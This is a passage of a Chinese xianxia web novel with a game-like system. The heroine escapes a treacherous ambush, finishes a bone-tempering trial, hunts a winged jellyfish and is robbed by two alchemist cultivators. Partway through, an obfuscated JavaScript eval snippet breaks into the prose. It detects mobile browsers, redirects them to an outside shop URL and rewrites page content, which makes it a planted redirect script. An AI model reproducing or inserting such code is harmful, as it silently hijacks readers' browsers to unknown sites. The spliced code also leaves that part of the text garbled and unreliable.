龙傲天的心神全放在她身上,以至于无法认真锤骨,连着好几日都趴着,仅用左臂迎接锤骨风,其余地方一点没打磨到。 他内心很急,向他师父传音:“她是不是在戒备我?发现我们要对她不利?她虽然爱我,可也恨我,我现在摸不透她的心思……” “别急,成大事者,心态要稳。老夫猜测,她实力不济,无法完全发挥那件神物的力量,到了这十一圈坛,终于受不了这锤骨风,才有如此作态。” 龙傲天和李谡聊着,目光一直在滕棠身上,逐渐失了焦距。 他的内心彷徨不定,胡思乱想了很多事,天道既然安排滕棠出现在他身边,自然有其用意。他必须猜透其中含义,滕棠为何没有命字呢?他是不是理解错了,应该挽回滕棠的爱意…… 回想四个月前,他被李孚骅追杀,被逼入绝境,突然看见天地异象,隐隐有雷霆之象,他瞬间大喜,认为这是天道在帮他。但他御行过去,却意外发现,天地异象是滕棠引出来的,她正在度筑基雷劫。 李孚骅紧追不放,如果当时,他没有抛下滕棠,而是顺手带她走……两人是不是还有回旋的余地?滕棠依旧会爱他,对他百依百顺。 龙傲天内心懊悔,越想越觉得自己做错了选择。 可是这能怪他么?他的玄眼一直不进阶,金丹之前,只能看到天赋之字,看不到命字,只知晓滕棠是他需要的仙体,不能得知滕棠的天命。等到鹿焰宗被灭,他在福鹿宗高手包围下,突破筑基结成金丹,他能读命字时,却发现滕棠身上没有命字…… 当时客栈内,滕棠和徐扉罗拥在一起哭泣,声称被魔人夺走了清白,龙傲天打开玄眼,初次读她们的命字,立刻认定,这二人并非他的妻妾,不值得他浪费时间与精力。 滕棠身上只有天赋之字:滕棠,灵修,天生至柔仙体。徐扉罗身上倒是读出了命字,但明显已和他再无瓜葛:徐扉罗,灵修,天生至和仙体。自生自灭命。原为神龙妻,不愿认天命,判天道而行,与天外邪魔勾结,自取灭亡。 鸟为食亡,人为财死,龙傲天从不插手毫无价值之事,不结交与自身不相干之人。当时明月八角塔异变,他很坚决地抛下滕棠和徐扉罗,这样的选择明显无错,那二人阴元都没了,他又被祥天门追杀着,何苦去拖两个累赘。 可现在他后悔了,他觉得,抛下徐扉罗是正确的选择,但不该抛下滕棠。他只是读不出对方的命字罢了,怎么能肯定对方毫无价值呢?若滕棠是他妻妾中的一位,若滕棠往后会极大地帮助他,他岂不是错失了良机? 不,不,他是天道之子,未来的神龙,错过又如何? 龙傲天思绪良多,忽然顿悟般,想通了一件事。有很大的可能,滕棠是他妻妾中最特殊的一位,天道觉得她可有可无。她身上之所以没有命字,是因为自己还未有编织出来。 如果他费心讨好滕棠,与其重归于好,化解滕棠的心结与恨意,滕棠身上就会出现相应的命字,获得气运加持,往后和自己飞升。如果他不愿委曲求全,誓死不娶其为妻,不仅不化解仇恨,还要杀对方夺取机缘,滕棠身上的命字就会变成“与神龙为敌,死于神龙手中”,或者“想害神龙,天道不容”…… 空白的纸上,写什么字,由主人决定……龙傲天恍然,当下判定,他和滕棠有纠葛是必然的,滕棠的命字取决于自己的做法。 他若对滕棠好,对方便爱他护他,有个好命;他若对滕棠产生杀意,对方便与他为敌,像之前那些敌人一样,落个惨死的下场。 趴在柔软的珊瑚之中,龙傲天意识清明,转瞬纾解了内心的郁闷。 恐惧这种情绪就不该出现在他身上,他是天道之子,无烬神龙和玄眼族的后裔,气运滔天,岂会怕一个瘦弱女子? “师父,你帮我看着她,我先锤骨,如发现时机,即刻通知我。”龙傲天对李谡传音完,开始静下心,同时锤炼三个部位。 时间一点一滴过去,在某一天,龙傲天准备换三个部位锤炼时,识海中突然出现李谡的声音:“快!徒儿,过去!就是现在!” 距离龙傲天七米的地方,一名纤瘦的女子静立不动,保持这种状态已有一个时辰。她身上的灵力波动趋于平稳,识海内敛、灵台隐,这是进入一念道之境的表象。 李谡猜想,在神物的帮助下,滕棠已适应十一圈坛的锤骨风,不会再时而沉浸、时而痛苦,兴许她找到了方法,能够借用更多的神物之力。 只要滕棠保持这个状态,五感六识便会自动屏蔽,这时,龙傲天出其不意攻其不备,他再以精神力侵入滕棠的识海……滕棠灵台被控制住,无法再动用神物,必死无疑。 收到李谡的传音,龙傲天保持盘坐的姿势,下半身不动,仅用双手撑地,在锤骨风中,慢慢朝滕棠挪过去。 他的杀气掩藏得很好,如果不是滕棠有意防备,可能完全注意不到。 白色圣殿内,其他人看见龙傲天的动作,并未多想,只当龙傲天和滕棠彼此熟稔,他想过去搭话。 “徒儿,再过去一点。” 李谡肉身未毁时,巅峰实力在渡劫五层,可惜他怠于识海修行,精神力比较落后,在洞虚十层卡了很多年。 如果他没有被无涯宗那群人追杀,如今恐怕已经成仙…… 肉身被毁,实力一落千丈,他现在的灵力仅恢复到洞虚一层。而精神力极难恢复,跌至出窍期后,一直没有精进。 出窍期的精神力,所能触及的范围只有三米,他必须尽可能地接近滕棠。 一颗汗从龙傲天额头上滑落,不知怎的,他感到前所未有的紧张,以至于泄露出一分杀气。 旁边的女子好似什么都未察觉,人畜无害地站在那儿,盈盈柳腰,细胳膊瘦腿的,仿佛谁都可以胁制她。 龙傲天离滕棠的距离恰好三米的时候,李谡在指环内双手结印,将灵魂力凝成一股。 [温馨提示,您正在被71级的敌人追杀。是否需要购买超强装备、超级修复丹药?’点击购买’] 咔咔咔——,滕棠浑身的骨头响个不停,被一阵又一阵的锤骨风刮过,似乎要散架。 “出手!”李谡对龙傲天厉喝一声。 [叮!好友龙傲天向你发起挑战,是否接受?] 龙傲天迅速屈手成爪,掏向滕棠的丹田。 滕棠微笑着睁开眼。其实不用系统提醒,她也能发现那二人的杀机。她的精神力在分神后期,比李谡强一大境界,早在对方用精神力探到这边时,她就有所察觉。 底牌,永远不要暴露给敌人知晓,藏得越深越好。 这瞬间,滕棠突然动了,双足裹上五色灵力,快若闪电地跳进十二圈坛。 “你竟然……!”龙傲天的爪子扑空,不可置信地摸着十二圈的光幕。 锤骨风吹来一阵,龙傲天不得不蹲下,避开未经锤炼的部位,免得被疼痛击溃。而滕棠却牢牢站在第十二圈坛,丝毫不怕那阵厉风。 柔若无骨的女子回过头,低眸看向盘坐的红毛男子,视线移到他的龙爪上,冷笑一声,随后露出恍然大悟的神情:“这位公子,想杀我?” 她摇摇头,十分遗憾道:“哎~真可惜,我进十二圈坛了,想回十一圈坛和你打,圣殿不让。你多努力吧,不要落后我太多。” 龙傲天错愕了须臾,金爪逐渐收拢握紧,用力捶在两人之间的光幕上:“滕棠!” 双目中的贪婪退去,他愤恨地瞪着滕棠,暗想应该早点动手,不该听师父的话。他是天道之子,难不成滕棠还能借助神物杀他?即使他得不到神物,能够把滕棠重伤,亦有所获,而不是像此时,两手空空,还受到侮辱。 他瞪着滕棠的背影,讥讽道:“凭身外之物进入这圣殿,可以支撑你到十二圈坛,却不能助你进内五圈。你得意一时,于我而言,好似看猴子捞月,徒添趣味罢了。” 前方的女子未动分毫,早已进入一念道之境,将他屏蔽在外。 要不是提防龙傲天对自己出手,她早就跨进十二圈坛了,何须在第十一圈淬炼那么久。 没了龙傲天和李谡的威胁,滕棠放下心来,开始专心打磨自己。 体内的骨头原本是一块粗铁,熬过锤骨风的夯打,一点点变成精铁,表面玉润光滑,无丁点缝隙。 十圈之后的锤骨风,锤的不仅是骨,还会筛清里面的骨髓。红骨髓与黄骨髓经风去除杂质,融合神秘的微尘之力,能够激发潜能,转变为更加厉害的灵髓。 如果修者能踏入二十圈坛,骨头便能发生质变,百折不屈,可承受十倍于自身的力量。 时间一过,转眼两个月。 滕棠从十二圈出发,在强力的锤骨风中,吸收到大量的神秘骨力。她的进步速度之恐怖,令圣殿内的修者不敢眨眼。 两个月,他们眼睁睁地看着滕棠前进了八圈。十二圈到十三圈用了二十来天,十三圈到十四圈用了十来天,耗费的时间越来越少,最后在十九圈坛,她只停留了一日!就跨进了二十圈坛。 嘶……仅用恐怖一词来形容,完全不够。要知道,每踏进新的一圈坛,所耗费的时间会跟着变长,所有修者都只有一年的时间,大家从进第一圈坛起,便可推测,自己能走到哪个位置。 就连龙傲天这样的天之骄子、气运滔天的神龙,在唤醒无烬神龙血脉后,两个月,也只是进到十五圈坛。 白色的圣殿内,众人不免开始怀疑起来,认为滕棠作弊! “怎么回事,不可能吧!” “龙傲天乃是无烬神龙后裔,她是什么?什么都不是,她一定用了什么了不得的方法,比如上古神器、传说之物。” “我也不信,这世上不可能有比天道之子还厉害的人!” 不止这些人不信,龙傲天亦不承认,自己败给了滕棠。 他越发肯定滕棠身上的宝物不凡,不仅能隐藏波动,还能无声无息保护滕棠的骨头,让她通关圣殿的考核。 这么说来,滕棠之前都是装的,故意从外面走到最里面,想抢他风头,想侮辱他,想击溃他的信心…… 龙傲天思索良多,忽然命字激发,越战越强,在滕棠的刺激下,他激发了更多的血脉之力,瞬间踏进十五圈坛,比原剧情快了一个月。 然而即使这样,他还是赶不上滕棠的速度,只能遥望对方的背影。 他此时的模样,看起来比滕棠更像怪物,一半身子长满红色的鳞片,血管暴起,晶红发光的血液在里面快速流淌着,像虫子一样蠕动。 他脸上还有绯红的龙须,不伦不类地爬满左脸,一双眼睛凹陷,金光耀眼,牙齿向外凸出,呈锯齿状。 已经抵达二十圈坛的滕棠,伸手摸向高耸的骨柱,指腹下的硬珊瑚再次化为白色瀑布,一条年迈的人鱼从里面游出来。 这道幻影不是鱼琴的,是白骨珊瑚圣殿的创造者留下来的。 老人卷曲的华发像海浪一样张开,在空中飞溅出朵朵浪花,与骨柱瀑布牵连在一起。 他的声音宽宏美妙,和当初在一圈时听到的一样,音域很广,像弹奏钢琴时加进和弦,听他说话,好似在听一段震颤人心的旋律。 “你是第六位跨过二十圈的考核者,此为人鱼骨殿予你的馈赠。” 老人的指甲锋利尖锐,指骨弓起,布满鳞片,和鱼琴的大不相同。他捧着一株茭白的珊瑚,递到滕棠手心,还未接触到她的皮肤,便划伤了几道口。 这只是一道没有自主意识的幻影,送完东西就被瀑布收回去,白流凝滞,重新变成转动的骨柱。 滕棠看了一眼手上的伤,血流不止,伤口沾了轻微的人鱼毒,非常难愈合,必须服下解毒丹,才能用灵力修复伤处。 她刷新了对人鱼的认识,原来人鱼的鳞爪和龙的鳞爪没有什么区别,都是利器。 回头看向龙傲天,她心想,这人岂不是可以进紫岛圣殿?比大家多进一个圣殿。 事实确如她所想,龙傲天早有计划,除了黄岛圣殿进不去,其余四个圣殿他都打算进。之所以选择先进白骨圣殿,是因为这座珊瑚岛离他最近,无涯宗的人最少。 珊瑚秘境开启,来了不少无涯宗的强者,此刻,大部分都在蓝岛圣殿内修炼精神力。他师父李谡和无涯宗的人有深仇,能够避开就最好避开,他完全可以先锤骨再去修炼精神力,到那时,一年过去,蓝色圣殿内的人已经离开,换了一批。 “这东西挺好吃的。”滕棠啃完手里的珊瑚,瞬间觉得自己的骨资已达极致,可承受十倍于自身的力量。 一股热流顺着经脉,将骨头的轻微损伤修复好。或许是因为滕棠吸收了风中骨力,所以白珊瑚之根找不到劲使,几经流转,最终涌向滕棠丹田。 丹田的五条细弱之根,在珊瑚汁浇灌下,如同被催了肥,眨眼茁壮成长,变粗了许多。 滕棠摸向腹部,懵了一下,发觉自己的实力已经突破筑基三层,飙升到筑基五层才平稳下来。 这珊瑚这么厉害?她舔唇,真想再吃几株。 然而一道白色的光芒,打消了她的念想。白光照射在她身上,圣殿向她涌来一股推力,意图将她送出白色珊瑚圣殿。 滕棠站稳脚跟,发现自己无力与其对抗,便回过头,目光越过龙傲天,向刘仁刘慈点头示意。 刘仁依旧害羞,和她对视一眼,立刻低下头。他妹妹刘慈变化较大,不再像初见时那样恐惧,眼里多了许多崇拜。 周围人都说滕棠作弊,身上有神秘的宝物,所以能进入十二圈坛,可刘慈不信这些。狂刀门是个小门派,招收过两个五灵根杂役,五灵根筑基何其艰难?无论是史书亦或传说,都未曾记载过筑基期的五灵根修者。 这些人肯定没有注意到,滕棠姐姐是五灵根修者,要是注意到了,还会认为她作弊吗?只会惊奇这世上竟有如此天赋之人吧。 在滕棠快消失的时候,刘慈大喊一句:“姐姐若没有门派,可以来我们狂刀门!” 滕棠听见她的话,在白光之中轻轻点头,转眼出现在圣殿外。 “滕棠你怎么出来了?还没到一年啊。” 付岚山从一棵珊瑚树上跳下来,走到她腿边蹭头:“你坚持不下去了?也是,那风吹着骨头,疼痛难熬……不过,我还以为你可以熬一年。” 许久不见,付岚山胖了些,珊瑚树下全是他吃完的鱼骨。 滕棠浑身风骨峻峭,看着比以前挺拔许多,气场更加自信。她挠着付岚山毛茸茸的下巴,问:“李偲缨呢?” “嘿嘿。”付岚山一脸得意,猫眼睛bulingbuling地闪,那表情好像在说“我很聪明”。 如今他已经能熟练掌控九色猫的身体,四爪着地,往右轻盈一跳,落向一丛密集的珊瑚,整个过程干净利落,仿佛他生来就是一只猫。 “我把她埋在这儿呢。”两爪刨动珊瑚碎屑与鱼骨头,付岚山快速将李偲缨挖出来。 滕棠吓了一跳,赶紧走过去:“李偲缨还没死呢,你埋她做什么?” 而后她仔细瞧,发现付岚山也没有那么傻,知道把李偲缨鼻子嘴巴露出来,并且在周围给她布置了个简易聚灵阵。 “你给我的这个壳子太弱了,我打不过别人,只能把她埋在这里,自己躲在树上修炼。” 说到此事,付岚山有些激动,不断吐槽:“你这猫壳子怎么回事,到底吃了多少奇特萤石,为何这么久了,仍旧通体发光。我刚离开圣殿那会儿,这壳子的目珠与毛色闪个不停,我拖着李偲缨,撞见几个修者,他们皆以为我是仙光外显的仙兽或者法宝,要把我抓回去。还好那几个实力不强,我躲了过去。” 滕棠发笑,问他:“你不是喜欢发光之物么?” 付岚山一噎,喵叫声急促起来:“地蛟蛇喜欢发光的东西,那是因为我们有实力,不怕被人抢!你给的壳子好看是好看,但实力太弱了,我被人抢走怎么办!” “嗯……”滕棠觉得,付岚山的做法挺好的,要是顶着九色猫的壳子招摇在外,难免被人觊觎。 是她当初考虑不周,以为所有修者都在珊瑚圣殿修行,付岚山和李偲缨出去很安全,实则不然,总有那么几个修者另行其道,在外寻找宝物。 她撸了几把猫头,眯着被闪瞎的眼睛道:“你这壳子发光并非萤石导致,而是天生如此,这件事我没有解决办法。” “谁说的,你可以解决。”付岚山转动流光溢彩的眼珠,两只大眼睛疯狂闪烁九色光芒。他勾勾滕棠的衣摆,讨好地道:“滕棠,你不是说你有很多壳子吗?还有蛇壳子,你可以给我其他壳子啊。” “这个……”滕棠尴尬了,不知怎么给他解释,新壳子要等很长一段时间才能有。 “你莫不是在骗我的!”付岚山弓起背,猫瞳中夹杂失望和生气的情绪。 他见滕棠不答话,沮丧地道:“我就知道,你肯定是骗我的。之前太开心了,没多想,出来后我仔细想,你如果有,早就亮出来了,才不会藏着掖着的。我跟在你身边这么久,只见过这亮得吓人的破猫壳子。” “没有骗你。以后一定有,你别急。”滕棠安抚他,将之前挖矿活动抽到的外观一股脑倒出来,各类物品五光十色,酷炫闪亮,皆是付岚山没见过的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032727|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我能拿出来的物品和我实力有关,你应该知晓我身上有诸多奇怪之处,这个我无法给你解释……” 滕棠下一句还未说出,付岚山忽然神采奕奕地抢答:“我知道了,你拥有一座上古神迹!可以随时破碎虚空,取里面的东西,现在实力不够,不能取特别厉害之物,等你以后变强了,你就能帮我取得厉害的壳子!” 滕棠一愣,随即点头:“嗯,是这样的,你没理解错。”但给你买壳子,不仅需要提升到50级,还需要氪很多钱…… 太久没给李偲缨输送灵力,滕棠发现她状态很差。仅靠付岚山的简易聚灵阵,李偲缨能吸收的量并不多,此时皮肤又变青白了。 滕棠摸了下冰凉的身体,忍不住伸手指探李偲缨的鼻息,暗想这人可别死了,她好不容易救下来的。 还好还好,李偲缨气息尚在,只是气若游丝,仿佛随时要睡死过去。滕棠收回食指,立刻调出系统灵力条,将无属性灵力注入进李偲缨的丹田。 等到人情况好转,她将美若天仙的女子背起,下定决心道:“必须把羽翼水母给找到!李偲缨不醒,我太难了。” “你确定吗?听刘仁刘慈说,很难寻到。”付岚山舔舔爪子,身为地蛟蛇,无意之间,已经有猫的习性。 “先过去试试,找不到就算了。”滕棠刚走两步,背上吸收了许多灵力的李偲缨睡梦变浅,头微微动了下。 李偲缨惺忪睁开眼,恍惚看到自己死去的母亲,正用瘦弱的脊背背起自己。她思念的心抑制不住,樱唇轻启,在滕棠耳边呓语:“娘亲……娘……不要去见老祖……” 滕棠脚步一顿,想刀人的眼神隐藏不住,偏头道:“你叫我什么!我没你这么大的巨婴女儿。” 李偲缨还在梦里,双目浅浅闭拢,嘴角露出幸福的微笑:“娘亲,我好想你……” “……”滕棠张了张口,这次什么都没说,心已经软了下去。 她把付岚山拎起来,偏过头,用付岚山的毛皮帮李偲缨抹去眼角的泪水:“真拿你没办法,命怎么这么惨呢。” 九色猫撇撇嘴,嫌弃地看了一眼李偲缨,心道还是蛇族好,大家都冷冰冰的,自己无牵无挂。 走到白色珊瑚岛的海岸,滕棠重新拿出一条漂亮的披帛,将李偲缨再三捆绑,而后背着秤砣往蓝色的巨岛游去。付岚山一开始不愿意下水,但扭头一看,他毛都被李偲缨打湿了,下不下水都一样,犹豫两下,“噗通”跳进水里,游在滕棠屁股后面。 五座珊瑚,中间的蓝色岛屿最大,几乎是白色珊瑚岛的三倍。 蓝色珊瑚岛上的珊瑚种类不像白岛那样单一,虽说都是蓝色系,但各式各样,看着比白岛的风景好。 登上珊瑚岛屿后,滕棠感觉自己进入了蓝色的热带雨林,周围全是参天巨树,随便砍一棵珊瑚树拿出去卖,都能赚得盆满钵满。 她有想过动手,砍一棵放进背包里,但看到隐藏其中的[55级]时,收起了贪婪。强大的珊瑚虫爱藏在中心位置,如果没有系统的万物识别功能,她都发现不了这些厉害的小东西。 往前走了一段路,热带雨林变成了片状丘陵,珊瑚树排列得像海浪,一波高一波低。滕棠勉强能看见中央最高的地方,那里有个蓝色圣殿,即使隔二十里远,仍能看清珊瑚编织的轮廓。 那座圣殿和白色圣殿有很大的不同,并非鱼尾形状,而是滔天波浪。无数蓝色的珊瑚树盘错,翻卷着、涌动着,升起百丈之高,努力伸向天空的蓝宝石,似要将其卷下。 从左侧瞧,蓝岛圣殿的珊瑚浪花呈椭圆形,稍行一段路再看,浪花飞散,圣殿之顶偏向扇形。要不是滕棠知晓,整座岛屿皆由珊瑚组成,可能真以为那是片巨浪,有生命的巨浪。 蓝宝石静静悬在高空,洒落着漂亮的蓝光,其位置刚好在蓝岛上方,看着近,实则远。 在滕棠看不见的地方,珊瑚海浪中间,有一个巨大的凹陷,里面聚集了不少人,皆是开辟了识海的修者。 他们浮于珊瑚海浪之中,呈“大”字姿势,掌心朝外,个个似睡着般,面目安宁。 “羽翼水母……羽翼水母……”滕棠一边喃喃,一边在蓝色珊瑚世界里寻找。 系统自带万物识别功能,她眼睛里看到的所有东西都有标注。她相信,只要注意点,自己寻找羽翼水母的难度,比其他修者更低。 滕棠背着李偲缨,两天的时间,只走了三千米,头扭得都快掉了。 功夫不负有心人,当她深入一处矮珊瑚海时,在无数标识中,突然看到[羽翼水母]四个小字。 “找到了!”她控制内心的欢喜,脚步变轻。 这片小小的珊瑚海里没有一滴海水,那些流动的蓝色液体是珊瑚虫的身体。汁沣珊瑚虫的幼体偏向液态,成年体的外观则像一团烂泥。羽翼水母恰好把这种液态珊瑚虫当食物,偶尔前来进食。 滕棠找到的这只等级为[32级],有系统[挑战]的功能在,她不怕它跑,只担心不好打赢。 走进珊瑚海内,滕棠的双足陷入,好像踩进了沼泽,有些拔不出来。她解开绳索布条,把李偲缨放到一旁的珊瑚草中,确定附近没危险后,换上[绯烈焰]套装,重新走进到汁沣珊瑚海里。 羽翼水母全身几近透明,若无系统标注,滕棠可能好几个月都找不到它。 [绯烈焰]套装在身,脚下的火温度异常高,把珊瑚虫烧成干硬的千层饼,踩上去还有酥脆的声音。 汁沣珊瑚被烘干后,有一种塑料的味道,很难闻。滕棠捂住鼻子,蹑手蹑脚走至中央,视线瞄准[羽翼水母]四个小字,集中注意力点击了下,而后选择[挑战]。 [温馨提示,你正在挑战32级羽翼水母,购买使用灵魂石,可打出更高的精神伤害。''点击购买''] 出现这样提示,通常代表怪比她强,挑战起来有难度,她需要氪金变得更强。但她有钱么……滕棠叉掉提示, 有些惊讶,她的精神力已经达到分神后期,这羽翼水母才[32级],竟然比自己强?这怪肯定擅长精神力攻击,不知其魂海等级有多高。 如果系统的万物识别功能再丰富一些就好了,只能看灵力等级,看不到精神力等级,让她很慌…… 巴掌大的透明水母从珊瑚中飘出来,触须有一臂之长,抖动散开,细如蚕丝线。透明的伞一开一合,本来是无颜色的,在天空宝石的照耀下,全身蘸了碧蓝的颜料,不再隐形。 羽翼水母形如其名,有两只透明的软翅,可以自在散漫地脱离海洋,飞往天空。 在羽翼水母飞来时,滕棠取出两把弯刀,准备远攻挑战。 不过她还是低估了羽翼水母的能力,其外表娇小美丽,透明的身体总给人一种很弱的讯息,实则,它的精神攻击范围,比人广多了。 羽翼水母的翅膀虽软,其飞行速度却很快。它像灵敏的蜻蜓,在两把弯刀之间穿梭,轻易躲开了滕棠的攻击。 滕棠对副武器的操作,没有主武器精炼,她操纵着两把飞刀转来转去,始终奈何不了羽翼水母。 咿——,咿—— 水母妖通常没有声音,令滕棠意想不到的是,羽翼水母有。它张开伞头,腔隙挤压蠕动,发出类似人鱼的声波攻击,其中夹杂的精神力很强,震得滕棠头晕。 所幸滕棠识海够宽,灵台坚固,才不至于被突袭到。 她很快清醒过来,凝聚自己分散的精神力,揪拢成一把无形的刀,嗖地飞向六米外的水母。 咿——,羽翼水母比厉鬼凶煞还难对付。它有敏锐的感官,还有极佳的精神力。 在滕棠的刀划到附近时,它好像看得到般,快速退避,直至滕棠达到精神力的极限范围,伤不了它。 怪不得制成的丹药卖那么贵,太难抓了! 一只羽翼水母能炼十颗丹药,加上丹师自身价值,两万上品灵石,可能还低了。 滕棠站在枯干的珊瑚中,对悠哉飞翔的水母束手无策。 远攻不行,对方太敏捷,近战不仅有危险,羽翼水母还会飞,很难砍到对方。 滕棠多希望自己有大量灵石,直接在商城氪一对翅膀,她也想飞! 就在她无计可施之时,付岚山在岸边跳来跳去:“滕棠,要不要我帮你?” “你能抵抗住它的声波?”滕棠问。 付岚山摇摇头:“不能。” “那你说什么说。”滕棠无语,第一千多次嫌弃这只无用的灵宠。 付岚山舔舔爪,游手好闲地道:“我就是问一问,免得你又骂我只知道吃,不知道做事。” 滕棠握着刀,砍不到羽翼水母,真想给付岚山来一刀,自己在这边辛苦打怪,他倒好,还有心思刷存在感。 “付岚山。” “喵?” “短时间内不要跟我说话。” 69. 第 69 章 蓝色的丛林深处,滕棠身上的火燃烧着,把周围的汁沣珊瑚虫烤得焦脆。 类似于烧塑料的味道,弥漫在这片地带,臭得人头晕。 滕棠和羽翼水母的距离始终在十米左右,对峙了有一盏茶的时间,彼此的血条都没有掉一丝。 滕棠微微喘气,思索着策略。 选择挑战后,羽翼水母一直未离开这片地带。打开右上角地图,上面有一个圆圈,圆圈中心是代表她的黑色小点,她一动,圆圈会随之移动。 她观察了会儿,发现挑战区域以她为中心,羽翼水母只能待在她方圆百米内。 滕棠把主武器取出,握在双手之中,决定试一下八方围攻的办法。 “付岚山,你确实该做点事了。”她朝珊瑚树上的肥猫喊道。 付岚山摇摇尾巴,不懂其意:“为你摇旗呐喊?你需要的话,我还可以找木棍敲石头作鼓,给你助威。” 他们说话始终不在一个频道上,主人和灵宠毫无默契。 滕棠深呼吸一口,示意他看向空中的两把飞刀,以及自己的方位:“你去它背后那棵珊瑚树上,如果它往那边逃,给它一记风爪。” 付岚山似懂非懂,按照滕棠的意思,跳到对面树顶上站着,惶惶不安地问:“它要是攻击我怎么办?” “你就躲。” 滕棠查看了一眼灵宠的敏捷值:“这么远的距离,你来得及避开,记得把灵台保护好,壳子不重要。” 九色猫没了,她可以买灵宠复活丹,付岚山没了,那她莫法。 付岚山被赶鸭子上架,一脸不情愿:“我自小不爱打斗,喜欢盘踞在阴冷的地穴中,安安静静过日子。” 滕棠没工夫跟他闲扯,一刀砍向羽翼水母,脚步未动,在水母妖逃逸时,旋转出两把飞刀。 羽翼水母想往上,两把弯刀各自分开,交叉飞旋,不给它空隙,它只能退而求其次,飞向付岚山的方向。 “快给它一记风爪!”滕棠朝付岚山喊道。 肥滚滚的灵猫闪动九色光芒,绒毛爪子一伸,听话地朝羽翼水母挥出一道猫爪型的风。 那羽翼水母果不然,没有视力,凭借的是对事物的感知,精神力一探,发现付岚山在前边堵截它,只能折返方向,回到滕棠这边。 “行得通。”滕棠满意道。 于是她操持着主武器、副武器,外加一把精神力短刃,和付岚山包围羽翼水母,将其堵来截去。有时运气好能刮到它的血条,有时来去几次,都伤不到它半分。 时间过去了两个时辰。付岚山四只爪子都酸了,哀叫道:“滕棠我好累,我举不动爪子了。” 滕棠安慰他:“你累,它更累,它速度已经变慢了。你要是不努力,我就收回你的壳子。表现好,说不定我奖励你一个漂亮发光的颈圈,下面吊着个铃铛,你一动它还会响呢。” 这句话属实拿捏了地蛟蛇的喜好。付岚山喜欢亮晶晶的东西,虽然平时总说猫壳子太亮,容易招惹坏人,但内心其实喜欢得很。 “行,你得附送我一个储物戒或者储物袋,我不能把这么闪亮的宝贝戴在身上,实力不够,会被人抢的。” 在威逼利诱之下,付岚山的爪子不酸了,头也不痛了,眼睛迸发耀眼的九色光芒,虎视眈眈地盯着羽翼水母。 一人一猫于反复枯燥的刮痧中,总算有了点默契。 羽翼水母的血条掉得越来越多,它的软翅再也飞不动,此时的速度完全抵不过弯刀的旋击。 很快,半个时辰后,它的血条就见了底。 滕棠正准备收割这只打了一天的怪。 蓦地,丛林里冒出一男一女,男的[40级],女的[42级],二话不说,御使灵剑刺来。 滕棠实在没料到,附近还有捕螳螂的黄雀。她哪可能看着自己辛苦打的怪,被人抢走,心一狠,冲上前去,任由其中一把剑刺进自己的手臂中,调出识海的精神力,把羽翼水母最后的生机杀死。 怪的血条见底,系统自动收集掉落物。 [击败32级羽翼水母,经验值+88888……] [掉落物品:羽翼水母妖核×1,养魂石×1,羽翼水母胶×1] 滕棠看也不看身后飘落的水母妖尸体,对付岚山喊了一声“逃”,当即跑到丛林中,单手扛起李偲缨,朝密集的珊瑚森林中跑去。 那二人见她跑了,跳进干枯的珊瑚海中寻找,发现里面除了焦黑的脆片,什么也没有。 “追!”女修吩咐道。 付岚山的猫身极其敏捷,本欲听话逃走,但它太担心滕棠了。眼看那二人不仅御使两把灵剑刺向滕棠,还调出一股精神力攻去,它焦急不已,下意识地跳跃到滕棠身后,替她挡下其中一招。 “喵喵——!” 滕棠刚要穿上矿神金装,免除所有伤害,就听见付岚山凄惨的叫声。 她顿足,回头看去,一道虚淡的蛇魂,飞速钻进她的丹田。 与此同时,脑子里收到系统的提示:[提醒玩家,您的灵宠已阵亡,复活需要''灵宠复活丹'',点击购买。(提示:灵宠复活丹,每月限购一颗)] 这笨蛇的智商真是堪忧,她有矿神金装啊!付岚山又不是没见过。 在滕棠怔愣间,那二人已经近在咫尺。 愤怒的火焰在滕棠双目内点燃,她不慌不忙地点开他们头上的小三角,快速看了一眼。 [付郁,男,40级,木土灵根,灵丹修。天赋技能:七级丹师,炉浩烈焰……] [杜樰楺,女,42级,单木灵根,灵丹修,至灵神体,天道气运极佳。天赋技能:一级丹皇,长生树,藤棘剑法,大暑天火……] 两个元婴期的丹修?! 滕棠哑然,怪不得付岚山挂得那么快,灵魂薄淡了五分。 丹修在精神力方面极有天赋,这二人的灵力在元婴期,精神力恐怕同样在元婴期,甚至远超于此。且那女子的信息好长,跟李偲缨有得一拼,在这个修者世界定然是个重要角色。 “交出羽翼水母,饶你不死!”凤目一凌,杜樰楺厉声道。 她穿的同样是无涯宗的白衣,领口绣着一个丹炉,这是万丹山的标志。 付郁在她身侧跟紧,手中有一团棕红的火焰,时不时朝滕棠抛去。 “姐姐你未免不讲道理,羽翼水母是我发现的,亦是我猎杀的,你们这样出来抢,不合适吧?” 查看了一眼付岚山的伤势,滕棠气得要死。 这条蠢蛇,她好不容易养得白白胖胖,现在又瘦又小,蔫儿吧唧地缠紧她灵根,一点活力都没有。 杜樰楺当然知晓自己的行为不妥当,但羽翼水母对她太过重要,她必须不择手段地抢。 “把羽翼水母交出来,我可以给你一颗养伤丹。”她冷言冷语,面上没有丝毫愧疚。 滕棠翻转左手,在吃了系统回血丹后,臂上的剑伤已经愈合得差不多了,哪里还需要养伤丹?再说,对方的丹药有系统的好吗,丹毒积在体内,不知多久才能排出体外。 何况他们伤人在先,还把自己的灵宠打死,一颗养伤丹……打发叫花子呢? 滕棠把李偲缨换了个位置,从肩上滑下来,反手将人箍在背后。她站在一颗珊瑚树上,望向那蛮不讲理的两位丹修:“我凭什么给你?我问你要你手上的储物戒,你愿意给我吗?” 蓝光在珊瑚林中沉积,随着某些虫腔的扭动,看起来有些恶心。滕棠看了一眼脚下,秘境内不能御行,只能靠脚行走,她不管走到哪儿,都容易留下痕迹。 杜樰楺和付郁对视一眼,两人并没小瞧滕棠,也不敢低估她。羽翼水母再幼小,其精神力也在金丹一层以上。她不知滕棠猎杀的这只实力如何,但能杀死羽翼水母之人,精神力肯定不弱。 筑基五层便有精神力,还猎杀了羽翼水母……杜樰楺不免心生嫉妒。 